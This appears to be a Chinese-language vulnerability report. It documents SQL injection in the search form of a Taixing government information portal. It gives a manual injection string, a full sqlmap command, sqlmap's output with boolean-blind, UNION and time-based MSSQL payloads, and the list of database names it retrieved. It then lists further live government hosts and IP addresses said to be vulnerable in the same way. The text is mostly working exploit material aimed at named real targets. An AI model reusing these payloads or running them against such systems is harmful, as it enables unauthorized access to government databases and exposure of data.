以http://qlgk.taixing.gov.cn/ 作为测试案例
测试步骤:
1)首先访问“事项申请”http://qlgk.taixing.gov.cn/webpages/application.aspx
2)再选择一个单位”财政局”进行SQL注入测试
3)手工注入测试,在搜索框内输入”ssssssssss”
4)在搜索框内输入”ssssssssss’ or ‘%’ = ‘”
5)使用burpsuit抓包后再使用sqlmap进行自动化测试:
sqlmap -r /tmp/qlgk.taixing.gov.cn.dat -p Key --dbms mssql --level 5 --risk 3 --dbs -v 1
---
Place: POST
Parameter: Key
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload:Key=-2184') OR (6910=6910) AND ('BdFn' LIKE 'BdFn&Ctr_BeginTime=&Ctr_EndTime=&d
g:_ctl19:JumpList=%E7%AC%AC1%E9%A1%B5
Type: UNION query
Title: Generic UNION query (NULL) - 70 columns
Payload:Key=sssss') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(108)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(72)+CHAR(83)+CHAR(75)+CHAR(100)+CHAR(122)+CHAR(82)+CHAR(107)+CHAR(86)+CHAR(71)+CHAR(99)+CHAR(113)+CHAR(107)+CHAR(11
5)+CHAR(99)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Ctr_BeginTime=&Ctr_EndTime=&dg:_ctl19:JumpList=%E7%AC%AC1%E9%A1%B5
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: Key=-3036') OR 4735=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sys
users AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND ('jtSe' LIKE 'jtSe&Ctr_BeginTime=&Ctr_EndTime=&dg:_ctl19:JumpList=%E7%AC%AC1%E9%A1%B5
---
[16:55:49] [INFO] testing Microsoft SQL Server
[16:55:49] [INFO] confirming Microsoft SQL Server
[16:55:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[16:55:50] [INFO] fetching database names
available databases [7]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] txgkptweb
[*] txweb
[*] tzmszj
其他测试案例:
(注:测试时先访问“事项申请”,再选择一个单位进行正常的测试)
http://58.222.216.220/ggweb/webpages/application.aspx
http://qlgk.taixing.gov.cn/webpages/application.aspx
http://qlgk.taizhou.gov.cn/tzptweb/webpages/application.aspx
http://58.222.195.110:8081/jyweb/webpages/application.aspx
http://58.222.211.21/xhweb/webpages/application.aspx
http://221.230.140.252/tzptweb/webpages/application.aspx